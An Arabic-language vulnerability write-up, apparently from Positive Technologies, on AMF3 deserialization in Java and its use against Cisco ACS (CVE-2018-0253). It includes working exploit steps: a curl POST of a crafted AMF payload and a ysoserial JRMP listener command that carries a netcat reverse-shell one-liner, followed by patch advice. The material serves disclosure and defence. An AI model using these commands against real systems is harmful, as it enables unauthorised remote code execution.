في الآونة الأخيرة ، شارك Markus Wulftange من Code White دراسة مثيرة للاهتمام حول كيفية مهاجمة تطبيق ويب إذا كان مكتوبًا في Java ويستخدم بروتوكول AMF3. يمكن العثور على هذا البروتوكول حيث يتم استخدام Flash ويتطلب تبادل البيانات بين كائن SWF وجزء الخادم من التطبيق. يسمح لك البروتوكول بنقل كائنات متسلسلة من flash.utils.IExternalizable إلى الخادم. يتم إلغاء تسلسل هذه الكائنات من جانب الخادم ، ويحدث تحويل النوع ، ويتحول flash.utils.IExternalizable إلى java.io.Externalizable. تجدر الإشارة إلى أن الفئات التي تنفذ هذه الواجهة نفسها تتحكم بشكل كامل في عمليات التسلسل وإلغاء التسلسل الخاصة بها. هذا يعني أنه يمكنك محاولة العثور على فئة ، عندما يتم إلغاء تسلسلها ، سيتم تنفيذ التعليمات البرمجية التعسفية.
قام ماركوس بفحص جميع الفئات من OpenJDK 8u121 التي تطبق واجهة java.io.Externalizable واكتشف أنها تتضمن الفئات sun.rmi.server.UnicastRef و sun.rmi.server.UnicastRef2 المتعلقة بآلية RMI. إذا قمت بإعداد كائن إحدى هذه الفئات بشكل صحيح (قم بتهيئته برابط إلى مضيف المهاجم) ، ثم قمت بنقله إلى الخادم المعرض للهجوم ، فسوف يقوم خادم JVM بتسجيل رابط LiveRef إلى "الكائن البعيد". بعد ذلك ، ستحاول آلية جمع البيانات المهملة إنشاء اتصال JRMP مع المضيف المحدد. وكما تعلم ، يتضمن بروتوكول JRMP تبادل كائنات Java المتسلسلة. يمكن استخدام هذا لتنفيذ الهجمات المتعلقة بإزالة التسلسل.
CVE-2018-0253 أو كيف اخترقنا Cisco ACS
مرة واحدة ، خلال أحد اختباراتنا ، وصلنا إلى خادم Cisco ACS 5.8. في الوقت نفسه ، أتيحت لنا الفرصة للاتصال بخادم عامل من خلال واجهة الويب. أثناء تحليل واجهة الويب ، وجدنا أن طلبات POST التي تحتوي على كائنات AMF3 يتم إرسالها من العميل إلى الخادم.
في وقت لاحق لوحظ أن الخادم يقبل مثل هذه الطلبات POST دون إذنأشارت رؤوس استجابة HTTP إلى أنه تم تنفيذ واجهة الويب في Java. لذا ، يمكنك محاولة تنفيذ هجوم.
قم بتنزيل
الاستغلال الأصلي وقم بتغيير متغيرات المضيف والمنفذ. عند الترجمة ، تحتاج إلى التأكد من أن CLASSPATH يحتوي على المسار إلى مكتبة Apache BlazeDS. يؤدي تشغيل التعليمات البرمجية المترجمة إلى إخراج حزمة AMF: كائن متسلسل لفئة UnicastRef ، والذي تتم تهيئته بواسطة ارتباط LiveRef إلى خادمنا.
javac Amf3ExternalizableUnicastRef.java && java Amf3ExternalizableUnicastRef > payload
نرسل طلب HTTP يحتوي على حزمة AMF التي تم إنشاؤها إلى Cisco ACS ونرى محاولة اتصال.
curl -X POST -H "Content-type: application/x-amf" --data-binary @payload -k \ https://[IP Cisco ACS]/acsview/messagebroker/amfsecure

حدث هذا لأنه تم تثبيت إصدار ضعيف من مكتبة Apache BlazeDS على الخادم. قامت Cisco ACS بتفكيك حزمة AMF ، وإلغاء تسلسل الكائن الذي مررناه ، والآن يحاول جامع القمامة إنشاء اتصال JRMP بخادمنا. إذا استجبت لهذا الطلب باستخدام كائن RMI ، تقوم Cisco ACS بإلغاء تسلسل البيانات المستلمة وتنفيذ التعليمات البرمجية الخاصة بنا.
نستخدم الأداة ysoserial. سيعمل كخادم JRMP: عند الاتصال ، سيتلقى العميل كائنًا من مكتبة CommonsCollection1 ، التي يوجد بداخلها رمز لأداء shell عكسي.
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP ] 80 >/tmp/f'
نكرر الآن إرسال حزمة AMF ونحصل على الغلاف العكسي:

بدلا من الاستنتاج
تسمح الثغرة الموجودة لمهاجم غير مصرح له بتنفيذ أوامر عشوائية من مستخدم مميز.
صنّفت الشركة المصنعة
ذلك 9.8 على مقياس CVSS . ننصح كل من يستخدم هذا البرنامج لتثبيت أحدث التصحيح.
البرامج الضعيفة:
- Cisco ACS <5.8.0.32.7 - ضعيف ، لا يلزم الحصول على إذن ؛
- Cisco ACS 5.8.0.32.7 ، 5.8.0.32.8 - عرضة ، إذن مطلوب ؛
- بدءًا من Cisco ACS 5.8.0.32.9 - تم إغلاق الثغرة الأمنية.
المؤلف : Mikhail Klyuchnikov و Yuri Aleinov ، تقنيات إيجابية